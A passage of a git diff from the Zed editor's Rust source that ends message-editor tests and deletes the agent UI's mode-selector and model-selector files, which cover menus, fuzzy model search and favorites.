-    }
-
-    #[gpui::test]
-    async fn test_insert_context_with_multibyte_characters(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let app_state = cx.update(AppState::test);
-
-        cx.update(|cx| {
-            editor::init(cx);
-            workspace::init(app_state.clone(), cx);
-        });
-
-        app_state
-            .fs
-            .as_fake()
-            .insert_tree(path!("/dir"), json!({}))
-            .await;
-
-        let project = Project::test(app_state.fs.clone(), [path!("/dir").as_ref()], cx).await;
-        let window =
-            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = window
-            .read_with(cx, |mw, _| mw.workspace().clone())
-            .unwrap();
-
-        let mut cx = VisualTestContext::from_window(window.into(), cx);
-
-        let thread_store = cx.new(|cx| ThreadStore::new(cx));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let (message_editor, editor) = workspace.update_in(&mut cx, |workspace, window, cx| {
-            let workspace_handle = cx.weak_entity();
-            let message_editor = cx.new(|cx| {
-                MessageEditor::new(
-                    workspace_handle,
-                    project.downgrade(),
-                    Some(thread_store),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        max_lines: None,
-                        min_lines: 1,
-                    },
-                    window,
-                    cx,
-                )
-            });
-            workspace.active_pane().update(cx, |pane, cx| {
-                pane.add_item(
-                    Box::new(cx.new(|_| MessageEditorItem(message_editor.clone()))),
-                    true,
-                    true,
-                    None,
-                    window,
-                    cx,
-                );
-            });
-            message_editor.read(cx).focus_handle(cx).focus(window, cx);
-            let editor = message_editor.read(cx).editor().clone();
-            (message_editor, editor)
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.set_text("😄😄", window, cx);
-        });
-
-        cx.run_until_parked();
-
-        message_editor.update_in(&mut cx, |message_editor, window, cx| {
-            message_editor.insert_context_type("file", window, cx);
-        });
-
-        cx.run_until_parked();
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(editor.text(cx), "😄😄@file");
-        });
-    }
-
-    #[gpui::test]
-    async fn test_paste_mention_link_with_multiple_selections(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let app_state = cx.update(AppState::test);
-
-        cx.update(|cx| {
-            editor::init(cx);
-            workspace::init(app_state.clone(), cx);
-        });
-
-        app_state
-            .fs
-            .as_fake()
-            .insert_tree(path!("/project"), json!({"file.txt": "content"}))
-            .await;
-
-        let project = Project::test(app_state.fs.clone(), [path!("/project").as_ref()], cx).await;
-        let window =
-            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = window
-            .read_with(cx, |mw, _| mw.workspace().clone())
-            .unwrap();
-
-        let mut cx = VisualTestContext::from_window(window.into(), cx);
-
-        let thread_store = cx.new(|cx| ThreadStore::new(cx));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let (message_editor, editor) = workspace.update_in(&mut cx, |workspace, window, cx| {
-            let workspace_handle = cx.weak_entity();
-            let message_editor = cx.new(|cx| {
-                MessageEditor::new(
-                    workspace_handle,
-                    project.downgrade(),
-                    Some(thread_store),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        max_lines: None,
-                        min_lines: 1,
-                    },
-                    window,
-                    cx,
-                )
-            });
-            workspace.active_pane().update(cx, |pane, cx| {
-                pane.add_item(
-                    Box::new(cx.new(|_| MessageEditorItem(message_editor.clone()))),
-                    true,
-                    true,
-                    None,
-                    window,
-                    cx,
-                );
-            });
-            message_editor.read(cx).focus_handle(cx).focus(window, cx);
-            let editor = message_editor.read(cx).editor().clone();
-            (message_editor, editor)
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.set_text(
-                "AAAAAAAAAAAAAAAAAAAAAAAAA     AAAAAAAAAAAAAAAAAAAAAAAAA",
-                window,
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            editor.change_selections(SelectionEffects::no_scroll(), window, cx, |s| {
-                s.select_ranges([
-                    MultiBufferOffset(0)..MultiBufferOffset(25), // First selection (large)
-                    MultiBufferOffset(30)..MultiBufferOffset(55), // Second selection (newest)
-                ]);
-            });
-        });
-
-        let mention_link = "[@f](file:///test.txt)";
-        cx.write_to_clipboard(ClipboardItem::new_string(mention_link.into()));
-
-        message_editor.update_in(&mut cx, |message_editor, window, cx| {
-            message_editor.paste(&Paste, window, cx);
-        });
-
-        let text = editor.update(&mut cx, |editor, cx| editor.text(cx));
-        assert!(
-            text.contains("[@f](file:///test.txt)"),
-            "Expected mention link to be pasted, got: {}",
-            text
-        );
-    }
-}
diff --git a/crates/agent_ui/src/acp/mode_selector.rs b/crates/agent_ui/src/acp/mode_selector.rs
deleted file mode 100644
index 9ec25d6d2a1e11..00000000000000
--- a/crates/agent_ui/src/acp/mode_selector.rs
+++ /dev/null
@@ -1,217 +0,0 @@
-use acp_thread::AgentSessionModes;
-use agent_client_protocol as acp;
-use agent_servers::AgentServer;
-use agent_settings::AgentSettings;
-use fs::Fs;
-use gpui::{Context, Entity, WeakEntity, Window, prelude::*};
-use settings::Settings as _;
-use std::{rc::Rc, sync::Arc};
-use ui::{
-    Button, ContextMenu, ContextMenuEntry, DocumentationSide, KeyBinding, PopoverMenu,
-    PopoverMenuHandle, Tooltip, prelude::*,
-};
-
-use crate::{CycleModeSelector, ToggleProfileSelector, ui::HoldForDefault};
-
-pub struct ModeSelector {
-    connection: Rc<dyn AgentSessionModes>,
-    agent_server: Rc<dyn AgentServer>,
-    menu_handle: PopoverMenuHandle<ContextMenu>,
-    fs: Arc<dyn Fs>,
-    setting_mode: bool,
-}
-
-impl ModeSelector {
-    pub fn new(
-        session_modes: Rc<dyn AgentSessionModes>,
-        agent_server: Rc<dyn AgentServer>,
-        fs: Arc<dyn Fs>,
-    ) -> Self {
-        Self {
-            connection: session_modes,
-            agent_server,
-            menu_handle: PopoverMenuHandle::default(),
-            fs,
-            setting_mode: false,
-        }
-    }
-
-    pub fn menu_handle(&self) -> PopoverMenuHandle<ContextMenu> {
-        self.menu_handle.clone()
-    }
-
-    pub fn cycle_mode(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
-        let all_modes = self.connection.all_modes();
-        let current_mode = self.connection.current_mode();
-
-        let current_index = all_modes
-            .iter()
-            .position(|mode| mode.id.0 == current_mode.0)
-            .unwrap_or(0);
-
-        let next_index = (current_index + 1) % all_modes.len();
-        self.set_mode(all_modes[next_index].id.clone(), cx);
-    }
-
-    pub fn mode(&self) -> acp::SessionModeId {
-        self.connection.current_mode()
-    }
-
-    pub fn set_mode(&mut self, mode: acp::SessionModeId, cx: &mut Context<Self>) {
-        let task = self.connection.set_mode(mode, cx);
-        self.setting_mode = true;
-        cx.notify();
-
-        cx.spawn(async move |this: WeakEntity<ModeSelector>, cx| {
-            if let Err(err) = task.await {
-                log::error!("Failed to set session mode: {:?}", err);
-            }
-            this.update(cx, |this, cx| {
-                this.setting_mode = false;
-                cx.notify();
-            })
-            .ok();
-        })
-        .detach();
-    }
-
-    fn build_context_menu(
-        &self,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Entity<ContextMenu> {
-        let weak_self = cx.weak_entity();
-
-        ContextMenu::build(window, cx, move |mut menu, _window, cx| {
-            let all_modes = self.connection.all_modes();
-            let current_mode = self.connection.current_mode();
-            let default_mode = self.agent_server.default_mode(cx);
-
-            let settings = AgentSettings::get_global(cx);
-            let side = match settings.dock {
-                settings::DockPosition::Left => DocumentationSide::Right,
-                settings::DockPosition::Bottom | settings::DockPosition::Right => {
-                    DocumentationSide::Left
-                }
-            };
-
-            for mode in all_modes {
-                let is_selected = &mode.id == &current_mode;
-                let is_default = Some(&mode.id) == default_mode.as_ref();
-                let entry = ContextMenuEntry::new(mode.name.clone())
-                    .toggleable(IconPosition::End, is_selected);
-
-                let entry = if let Some(description) = &mode.description {
-                    entry.documentation_aside(side, {
-                        let description = description.clone();
-
-                        move |_| {
-                            v_flex()
-                                .gap_1()
-                                .child(Label::new(description.clone()))
-                                .child(HoldForDefault::new(is_default))
-                                .into_any_element()
-                        }
-                    })
-                } else {
-                    entry
-                };
-
-                menu.push_item(entry.handler({
-                    let mode_id = mode.id.clone();
-                    let weak_self = weak_self.clone();
-                    move |window, cx| {
-                        weak_self
-                            .update(cx, |this, cx| {
-                                if window.modifiers().secondary() {
-                                    this.agent_server.set_default_mode(
-                                        if is_default {
-                                            None
-                                        } else {
-                                            Some(mode_id.clone())
-                                        },
-                                        this.fs.clone(),
-                                        cx,
-                                    );
-                                }
-
-                                this.set_mode(mode_id.clone(), cx);
-                            })
-                            .ok();
-                    }
-                }));
-            }
-
-            menu.key_context("ModeSelector")
-        })
-    }
-}
-
-impl Render for ModeSelector {
-    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let current_mode_id = self.connection.current_mode();
-        let current_mode_name = self
-            .connection
-            .all_modes()
-            .iter()
-            .find(|mode| mode.id == current_mode_id)
-            .map(|mode| mode.name.clone())
-            .unwrap_or_else(|| "Unknown".into());
-
-        let this = cx.weak_entity();
-
-        let icon = if self.menu_handle.is_deployed() {
-            IconName::ChevronUp
-        } else {
-            IconName::ChevronDown
-        };
-
-        let trigger_button = Button::new("mode-selector-trigger", current_mode_name)
-            .label_size(LabelSize::Small)
-            .color(Color::Muted)
-            .icon(icon)
-            .icon_size(IconSize::XSmall)
-            .icon_position(IconPosition::End)
-            .icon_color(Color::Muted)
-            .disabled(self.setting_mode);
-
-        PopoverMenu::new("mode-selector")
-            .trigger_with_tooltip(
-                trigger_button,
-                Tooltip::element({
-                    move |_window, cx| {
-                        v_flex()
-                            .gap_1()
-                            .child(
-                                h_flex()
-                                    .gap_2()
-                                    .justify_between()
-                                    .child(Label::new("Change Mode"))
-                                    .child(KeyBinding::for_action(&ToggleProfileSelector, cx)),
-                            )
-                            .child(
-                                h_flex()
-                                    .pt_1()
-                                    .gap_2()
-                                    .border_t_1()
-                                    .border_color(cx.theme().colors().border_variant)
-                                    .justify_between()
-                                    .child(Label::new("Cycle Through Modes"))
-                                    .child(KeyBinding::for_action(&CycleModeSelector, cx)),
-                            )
-                            .into_any()
-                    }
-                }),
-            )
-            .anchor(gpui::Corner::BottomRight)
-            .with_handle(self.menu_handle.clone())
-            .offset(gpui::Point {
-                x: px(0.0),
-                y: px(-2.0),
-            })
-            .menu(move |window, cx| {
-                this.update(cx, |this, cx| this.build_context_menu(window, cx))
-                    .ok()
-            })
-    }
-}
diff --git a/crates/agent_ui/src/acp/model_selector.rs b/crates/agent_ui/src/acp/model_selector.rs
deleted file mode 100644
index 43a39e61088219..00000000000000
--- a/crates/agent_ui/src/acp/model_selector.rs
+++ /dev/null
@@ -1,850 +0,0 @@
-use std::{cmp::Reverse, rc::Rc, sync::Arc};
-
-use acp_thread::{AgentModelIcon, AgentModelInfo, AgentModelList, AgentModelSelector};
-use agent_client_protocol::ModelId;
-use agent_servers::AgentServer;
-use agent_settings::AgentSettings;
-use anyhow::Result;
-use collections::{HashSet, IndexMap};
-use fs::Fs;
-use futures::FutureExt;
-use fuzzy::{StringMatchCandidate, match_strings};
-use gpui::{
-    Action, AsyncWindowContext, BackgroundExecutor, DismissEvent, FocusHandle, Subscription, Task,
-    WeakEntity,
-};
-use itertools::Itertools;
-use ordered_float::OrderedFloat;
-use picker::{Picker, PickerDelegate};
-use settings::{Settings, SettingsStore};
-use ui::{DocumentationAside, DocumentationSide, IntoElement, prelude::*};
-use util::ResultExt;
-use zed_actions::agent::OpenSettings;
-
-use crate::ui::{HoldForDefault, ModelSelectorFooter, ModelSelectorHeader, ModelSelectorListItem};
-
-pub type AcpModelSelector = Picker<AcpModelPickerDelegate>;
-
-pub fn acp_model_selector(
-    selector: Rc<dyn AgentModelSelector>,
-    agent_server: Rc<dyn AgentServer>,
-    fs: Arc<dyn Fs>,
-    focus_handle: FocusHandle,
-    window: &mut Window,
-    cx: &mut Context<AcpModelSelector>,
-) -> AcpModelSelector {
-    let delegate =
-        AcpModelPickerDelegate::new(selector, agent_server, fs, focus_handle, window, cx);
-    Picker::list(delegate, window, cx)
-        .show_scrollbar(true)
-        .width(rems(20.))
-        .max_height(Some(rems(20.).into()))
-}
-
-enum AcpModelPickerEntry {
-    Separator(SharedString),
-    Model(AgentModelInfo, bool),
-}
-
-pub struct AcpModelPickerDelegate {
-    selector: Rc<dyn AgentModelSelector>,
-    agent_server: Rc<dyn AgentServer>,
-    fs: Arc<dyn Fs>,
-    filtered_entries: Vec<AcpModelPickerEntry>,
-    models: Option<AgentModelList>,
-    selected_index: usize,
-    selected_description: Option<(usize, SharedString, bool)>,
-    selected_model: Option<AgentModelInfo>,
-    favorites: HashSet<ModelId>,
-    _refresh_models_task: Task<()>,
-    _settings_subscription: Subscription,
-    focus_handle: FocusHandle,
-}
-
-impl AcpModelPickerDelegate {
-    fn new(
-        selector: Rc<dyn AgentModelSelector>,
-        agent_server: Rc<dyn AgentServer>,
-        fs: Arc<dyn Fs>,
-        focus_handle: FocusHandle,
-        window: &mut Window,
-        cx: &mut Context<AcpModelSelector>,
-    ) -> Self {
-        let rx = selector.watch(cx);
-        let refresh_models_task = {
-            cx.spawn_in(window, {
-                async move |this, cx| {
-                    async fn refresh(
-                        this: &WeakEntity<Picker<AcpModelPickerDelegate>>,
-                        cx: &mut AsyncWindowContext,
-                    ) -> Result<()> {
-                        let (models_task, selected_model_task) = this.update(cx, |this, cx| {
-                            (
-                                this.delegate.selector.list_models(cx),
-                                this.delegate.selector.selected_model(cx),
-                            )
-                        })?;
-
-                        let (models, selected_model) =
-                            futures::join!(models_task, selected_model_task);
-
-                        this.update_in(cx, |this, window, cx| {
-                            this.delegate.models = models.ok();
-                            this.delegate.selected_model = selected_model.ok();
-                            this.refresh(window, cx)
-                        })
-                    }
-
-                    refresh(&this, cx).await.log_err();
-                    if let Some(mut rx) = rx {
-                        while let Ok(()) = rx.recv().await {
-                            refresh(&this, cx).await.log_err();
-                        }
-                    }
-                }
-            })
-        };
-
-        let agent_server_for_subscription = agent_server.clone();
-        let settings_subscription =
-            cx.observe_global_in::<SettingsStore>(window, move |picker, window, cx| {
-                // Only refresh if the favorites actually changed to avoid redundant work
-                // when other settings are modified (e.g., user editing settings.json)
-                let new_favorites = agent_server_for_subscription.favorite_model_ids(cx);
-                if new_favorites != picker.delegate.favorites {
-                    picker.delegate.favorites = new_favorites;
-                    picker.refresh(window, cx);
-                }
-            });
-        let favorites = agent_server.favorite_model_ids(cx);
-
-        Self {
-            selector,
-            agent_server,
-            fs,
-            filtered_entries: Vec::new(),
-            models: None,
-            selected_model: None,
-            selected_index: 0,
-            selected_description: None,
-            favorites,
-            _refresh_models_task: refresh_models_task,
-            _settings_subscription: settings_subscription,
-            focus_handle,
-        }
-    }
-
-    pub fn active_model(&self) -> Option<&AgentModelInfo> {
-        self.selected_model.as_ref()
-    }
-
-    pub fn favorites_count(&self) -> usize {
-        self.favorites.len()
-    }
-
-    pub fn cycle_favorite_models(&mut self, window: &mut Window, cx: &mut Context<Picker<Self>>) {
-        if self.favorites.is_empty() {
-            return;
-        }
-
-        let Some(models) = &self.models else {
-            return;
-        };
-
-        let all_models: Vec<&AgentModelInfo> = match models {
-            AgentModelList::Flat(list) => list.iter().collect(),
-            AgentModelList::Grouped(index_map) => index_map.values().flatten().collect(),
-        };
-
-        let favorite_models: Vec<_> = all_models
-            .into_iter()
-            .filter(|model| self.favorites.contains(&model.id))
-            .unique_by(|model| &model.id)
-            .collect();
-
-        if favorite_models.is_empty() {
-            return;
-        }
-
-        let current_id = self.selected_model.as_ref().map(|m| &m.id);
-
-        let current_index_in_favorites = current_id
-            .and_then(|id| favorite_models.iter().position(|m| &m.id == id))
-            .unwrap_or(usize::MAX);
-
-        let next_index = if current_index_in_favorites == usize::MAX {
-            0
-        } else {
-            (current_index_in_favorites + 1) % favorite_models.len()
-        };
-
-        let next_model = favorite_models[next_index].clone();
-
-        self.selector
-            .select_model(next_model.id.clone(), cx)
-            .detach_and_log_err(cx);
-
-        self.selected_model = Some(next_model);
-
-        // Keep the picker selection aligned with the newly-selected model
-        if let Some(new_index) = self.filtered_entries.iter().position(|entry| {
-            matches!(entry, AcpModelPickerEntry::Model(model_info, _) if self.selected_model.as_ref().is_some_and(|selected| model_info.id == selected.id))
-        }) {
-            self.set_selected_index(new_index, window, cx);
-        } else {
-            cx.notify();
-        }
-    }
-}
-
-impl PickerDelegate for AcpModelPickerDelegate {
-    type ListItem = AnyElement;
-
-    fn match_count(&self) -> usize {
-        self.filtered_entries.len()
-    }
-
-    fn selected_index(&self) -> usize {
-        self.selected_index
-    }
-
-    fn set_selected_index(&mut self, ix: usize, _: &mut Window, cx: &mut Context<Picker<Self>>) {
-        self.selected_index = ix.min(self.filtered_entries.len().saturating_sub(1));
-        cx.notify();
-    }
-
-    fn can_select(
-        &mut self,
-        ix: usize,
-        _window: &mut Window,
-        _cx: &mut Context<Picker<Self>>,
-    ) -> bool {
-        match self.filtered_entries.get(ix) {
-            Some(AcpModelPickerEntry::Model(_, _)) => true,
-            Some(AcpModelPickerEntry::Separator(_)) | None => false,
-        }
-    }
-
-    fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
-        "Select a model…".into()
-    }
-
-    fn update_matches(
-        &mut self,
-        query: String,
-        window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Task<()> {
-        let favorites = self.favorites.clone();
-
-        cx.spawn_in(window, async move |this, cx| {
-            let filtered_models = match this
-                .read_with(cx, |this, cx| {
-                    this.delegate.models.clone().map(move |models| {
-                        fuzzy_search(models, query, cx.background_executor().clone())
-                    })
-                })
-                .ok()
-                .flatten()
-            {
-                Some(task) => task.await,
-                None => AgentModelList::Flat(vec![]),
-            };
-
-            this.update_in(cx, |this, window, cx| {
-                this.delegate.filtered_entries =
-                    info_list_to_picker_entries(filtered_models, &favorites);
-                // Finds the currently selected model in the list
-                let new_index = this
-                    .delegate
-                    .selected_model
-                    .as_ref()
-                    .and_then(|selected| {
-                        this.delegate.filtered_entries.iter().position(|entry| {
-                            if let AcpModelPickerEntry::Model(model_info, _) = entry {
-                                model_info.id == selected.id
-                            } else {
-                                false
-                            }
-                        })
-                    })
-                    .unwrap_or(0);
-                this.set_selected_index(new_index, Some(picker::Direction::Down), true, window, cx);
-                cx.notify();
-            })
-            .ok();
-        })
-    }
-
-    fn confirm(&mut self, _secondary: bool, window: &mut Window, cx: &mut Context<Picker<Self>>) {
-        if let Some(AcpModelPickerEntry::Model(model_info, _)) =
-            self.filtered_entries.get(self.selected_index)
-        {
-            if window.modifiers().secondary() {
-                let default_model = self.agent_server.default_model(cx);
-                let is_default = default_model.as_ref() == Some(&model_info.id);
-
-                self.agent_server.set_default_model(
-                    if is_default {
-                        None
-                    } else {
-                        Some(model_info.id.clone())
-                    },
-                    self.fs.clone(),
-                    cx,
-                );
-            }
-
-            self.selector
-                .select_model(model_info.id.clone(), cx)
-                .detach_and_log_err(cx);
-            self.selected_model = Some(model_info.clone());
-            let current_index = self.selected_index;
-            self.set_selected_index(current_index, window, cx);
-
-            cx.emit(DismissEvent);
-        }
-    }
-
-    fn dismissed(&mut self, window: &mut Window, cx: &mut Context<Picker<Self>>) {
-        cx.defer_in(window, |picker, window, cx| {
-            picker.set_query("", window, cx);
-        });
-    }
-
-    fn render_match(
-        &self,
-        ix: usize,
-        selected: bool,
-        _: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Option<Self::ListItem> {
-        match self.filtered_entries.get(ix)? {
-            AcpModelPickerEntry::Separator(title) => {
-                Some(ModelSelectorHeader::new(title, ix > 1).into_any_element())
-            }
-            AcpModelPickerEntry::Model(model_info, is_favorite) => {
-                let is_selected = Some(model_info) == self.selected_model.as_ref();
-                let default_model = self.agent_server.default_model(cx);
-                let is_default = default_model.as_ref() == Some(&model_info.id);
-
-                let is_favorite = *is_favorite;
-                let handle_action_click = {
-                    let model_id = model_info.id.clone();
-                    let fs = self.fs.clone();
-                    let agent_server = self.agent_server.clone();
-
-                    cx.listener(move |_, _, _, cx| {
-                        agent_server.toggle_favorite_model(
-                            model_id.clone(),
-                            !is_favorite,
-                            fs.clone(),
-                            cx,
-                        );
-                    })
-                };
-
-                let model_cost = model_info.cost.clone();
-
-                Some(
-                    div()
-                        .id(("model-picker-menu-child", ix))
-                        .when_some(model_info.description.clone(), |this, description| {
-                            this.on_hover(cx.listener(move |menu, hovered, _, cx| {
-                                if *hovered {
-                                    menu.delegate.selected_description =
-                                        Some((ix, description.clone(), is_default));
-                                } else if matches!(menu.delegate.selected_description, Some((id, _, _)) if id == ix) {
-                                    menu.delegate.selected_description = None;
-                                }
-                                cx.notify();
-                            }))
-                        })
-                        .child(
-                            ModelSelectorListItem::new(ix, model_info.name.clone())
-                                .map(|this| match &model_info.icon {
-                                    Some(AgentModelIcon::Path(path)) => this.icon_path(path.clone()),
-                                    Some(AgentModelIcon::Named(icon)) => this.icon(*icon),
-                                    None => this,
-                                })
-                                .is_selected(is_selected)
-                                .is_focused(selected)
-                                .is_latest(model_info.is_latest)
-                                .is_favorite(is_favorite)
-                                .on_toggle_favorite(handle_action_click)
-                                .cost_info(model_cost)
-                        )
-                        .into_any_element(),
-                )
-            }
-        }
-    }
-
-    fn documentation_aside(
-        &self,
-        _window: &mut Window,
-        cx: &mut Context<Picker<Self>>,
-    ) -> Option<ui::DocumentationAside> {
-        self.selected_description
-            .as_ref()
-            .map(|(_, description, is_default)| {
-                let description = description.clone();
-                let is_default = *is_default;
-
-                let settings = AgentSettings::get_global(cx);
-                let side = match settings.dock {
-                    settings::DockPosition::Left => DocumentationSide::Right,
-                    settings::DockPosition::Bottom | settings::DockPosition::Right => {
-                        DocumentationSide::Left
-                    }
-                };
-
-                DocumentationAside::new(
-                    side,
-                    Rc::new(move |_| {
-                        v_flex()
-                            .gap_1()
-                            .child(Label::new(description.clone()))
-                            .child(HoldForDefault::new(is_default))
-                            .into_any_element()
-                    }),
-                )
-            })
-    }
-
-    fn documentation_aside_index(&self) -> Option<usize> {
-        self.selected_description.as_ref().map(|(ix, _, _)| *ix)
-    }
-
-    fn render_footer(
-        &self,
-        _window: &mut Window,
-        _cx: &mut Context<Picker<Self>>,
-    ) -> Option<AnyElement> {
-        let focus_handle = self.focus_handle.clone();
-
-        if !self.selector.should_render_footer() {
-            return None;
-        }
-
-        Some(ModelSelectorFooter::new(OpenSettings.boxed_clone(), focus_handle).into_any_element())
-    }
-}
-
-fn info_list_to_picker_entries(
-    model_list: AgentModelList,
-    favorites: &HashSet<ModelId>,
-) -> Vec<AcpModelPickerEntry> {
-    let mut entries = Vec::new();
-
-    let all_models: Vec<_> = match &model_list {
-        AgentModelList::Flat(list) => list.iter().collect(),
-        AgentModelList::Grouped(index_map) => index_map.values().flatten().collect(),
-    };
-
-    let favorite_models: Vec<_> = all_models
-        .iter()
-        .filter(|m| favorites.contains(&m.id))
-        .unique_by(|m| &m.id)
-        .collect();
-
-    let has_favorites = !favorite_models.is_empty();
-    if has_favorites {
-        entries.push(AcpModelPickerEntry::Separator("Favorite".into()));
-        for model in favorite_models {
-            entries.push(AcpModelPickerEntry::Model((*model).clone(), true));
-        }
-    }
-
-    match model_list {
-        AgentModelList::Flat(list) => {
-            if has_favorites {
-                entries.push(AcpModelPickerEntry::Separator("All".into()));
-            }
-            for model in list {
-                let is_favorite = favorites.contains(&model.id);
-                entries.push(AcpModelPickerEntry::Model(model, is_favorite));
-            }
-        }
-        AgentModelList::Grouped(index_map) => {
-            for (group_name, models) in index_map {
-                entries.push(AcpModelPickerEntry::Separator(group_name.0));
-                for model in models {
-                    let is_favorite = favorites.contains(&model.id);
-                    entries.push(AcpModelPickerEntry::Model(model, is_favorite));
-                }
-            }
-        }
-    }
-
-    entries
-}
-
-async fn fuzzy_search(
-    model_list: AgentModelList,
-    query: String,
-    executor: BackgroundExecutor,
-) -> AgentModelList {
-    async fn fuzzy_search_list(
-        model_list: Vec<AgentModelInfo>,
-        query: &str,
-        executor: BackgroundExecutor,
-    ) -> Vec<AgentModelInfo> {
-        let candidates = model_list
-            .iter()
-            .enumerate()
-            .map(|(ix, model)| StringMatchCandidate::new(ix, model.name.as_ref()))
-            .collect::<Vec<_>>();
-        let mut matches = match_strings(
-            &candidates,
-            query,
-            false,
-            true,
-            100,
-            &Default::default(),
-            executor,
-        )
-        .await;
-
-        matches.sort_unstable_by_key(|mat| {
-            let candidate = &candidates[mat.candidate_id];
-            (Reverse(OrderedFloat(mat.score)), candidate.id)
-        });
-
-        matches
-            .into_iter()
-            .map(|mat| model_list[mat.candidate_id].clone())
-            .collect()
-    }
-
-    match model_list {
-        AgentModelList::Flat(model_list) => {
-            AgentModelList::Flat(fuzzy_search_list(model_list, &query, executor).await)
-        }
-        AgentModelList::Grouped(index_map) => {
-            let groups =
-                futures::future::join_all(index_map.into_iter().map(|(group_name, models)| {
-                    fuzzy_search_list(models, &query, executor.clone())
-                        .map(|results| (group_name, results))
-                }))
-                .await;
-            AgentModelList::Grouped(IndexMap::from_iter(
-                groups
-                    .into_iter()
-                    .filter(|(_, results)| !results.is_empty()),
-            ))
-        }
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use agent_client_protocol as acp;
-    use gpui::TestAppContext;
-
-    use super::*;
-
-    fn create_model_list(grouped_models: Vec<(&str, Vec<&str>)>) -> AgentModelList {
-        AgentModelList::Grouped(IndexMap::from_iter(grouped_models.into_iter().map(
-            |(group, models)| {
-                (
-                    acp_thread::AgentModelGroupName(group.to_string().into()),
-                    models
-                        .into_iter()
-                        .map(|model| acp_thread::AgentModelInfo {
-                            id: acp::ModelId::new(model.to_string()),
-                            name: model.to_string().into(),
-                            description: None,
-                            icon: None,
-                            is_latest: false,
-                            cost: None,
-                        })
-                        .collect::<Vec<_>>(),
-                )
-            },
-        )))
-    }
-
-    fn assert_models_eq(result: AgentModelList, expected: Vec<(&str, Vec<&str>)>) {
-        let AgentModelList::Grouped(groups) = result else {
-            panic!("Expected LanguageModelInfoList::Grouped, got {:?}", result);
-        };
-
-        assert_eq!(
-            groups.len(),
-            expected.len(),
-            "Number of groups doesn't match"
-        );
-
-        for (i, (expected_group, expected_models)) in expected.iter().enumerate() {
-            let (actual_group, actual_models) = groups.get_index(i).unwrap();
-            assert_eq!(
-                actual_group.0.as_ref(),
-                *expected_group,
-                "Group at position {} doesn't match expected group",
-                i
-            );
-            assert_eq!(
-                actual_models.len(),
-                expected_models.len(),
-                "Number of models in group {} doesn't match",
-                expected_group
-            );
-
-            for (j, expected_model_name) in expected_models.iter().enumerate() {
-                assert_eq!(
-                    actual_models[j].name, *expected_model_name,
-                    "Model at position {} in group {} doesn't match expected model",
-                    j, expected_group
-                );
-            }
-        }
-    }
-
-    fn create_favorites(models: Vec<&str>) -> HashSet<ModelId> {
-        models
-            .into_iter()
-            .map(|m| ModelId::new(m.to_string()))
-            .collect()
-    }
-
-    fn get_entry_model_ids(entries: &[AcpModelPickerEntry]) -> Vec<&str> {
-        entries
-            .iter()
-            .filter_map(|entry| match entry {
-                AcpModelPickerEntry::Model(info, _) => Some(info.id.0.as_ref()),
-                _ => None,
-            })
-            .collect()
-    }
-
-    fn get_entry_labels(entries: &[AcpModelPickerEntry]) -> Vec<&str> {
-        entries
-            .iter()
-            .map(|entry| match entry {
-                AcpModelPickerEntry::Model(info, _) => info.id.0.as_ref(),
-                AcpModelPickerEntry::Separator(s) => &s,
-            })
-            .collect()
-    }
-
-    #[gpui::test]
-    async fn test_fuzzy_match(cx: &mut TestAppContext) {
-        let models = create_model_list(vec![
-            (
-                "zed",
-                vec![
-                    "Claude 3.7 Sonnet",
-                    "Claude 3.7 Sonnet Thinking",
-                    "gpt-5",
-                    "gpt-5-mini",
-                ],
-            ),
-            ("openai", vec!["gpt-3.5-turbo", "gpt-5", "gpt-5-mini"]),
-            ("ollama", vec!["mistral", "deepseek"]),
-        ]);
-
-        // Results should preserve models order whenever possible.
-        // In the case below, `zed/gpt-5-mini` and `openai/gpt-5-mini` have identical
-        // similarity scores, but `zed/gpt-5-mini` was higher in the models list,
-        // so it should appear first in the results.
-        let results = fuzzy_search(models.clone(), "mini".into(), cx.executor()).await;
-        assert_models_eq(
-            results,
-            vec![("zed", vec!["gpt-5-mini"]), ("openai", vec!["gpt-5-mini"])],
-        );
-
-        // Fuzzy search - test with specific model name
-        let results = fuzzy_search(models.clone(), "mistral".into(), cx.executor()).await;
-        assert_models_eq(results, vec![("ollama", vec!["mistral"])]);
-    }
-
-    #[gpui::test]
-    fn test_favorites_section_appears_when_favorites_exist(_cx: &mut TestAppContext) {
-        let models = create_model_list(vec![
-            ("zed", vec!["zed/claude", "zed/gemini"]),
-            ("openai", vec!["openai/gpt-5"]),
-        ]);
-        let favorites = create_favorites(vec!["zed/gemini"]);
-
-        let entries = info_list_to_picker_entries(models, &favorites);
-
-        assert!(matches!(
-            entries.first(),
-            Some(AcpModelPickerEntry::Separator(s)) if s == "Favorite"
-        ));
-
-        let model_ids = get_entry_model_ids(&entries);
-        assert_eq!(model_ids[0], "zed/gemini");
-    }
-
-    #[gpui::test]
-    fn test_no_favorites_section_when_no_favorites(_cx: &mut TestAppContext) {
-        let models = create_model_list(vec![("zed", vec!["zed/claude", "zed/gemini"])]);
-        let favorites = create_favorites(vec![]);
-
-        let entries = info_list_to_picker_entries(models, &favorites);
-
-        assert!(matches!(
-            entries.first(),
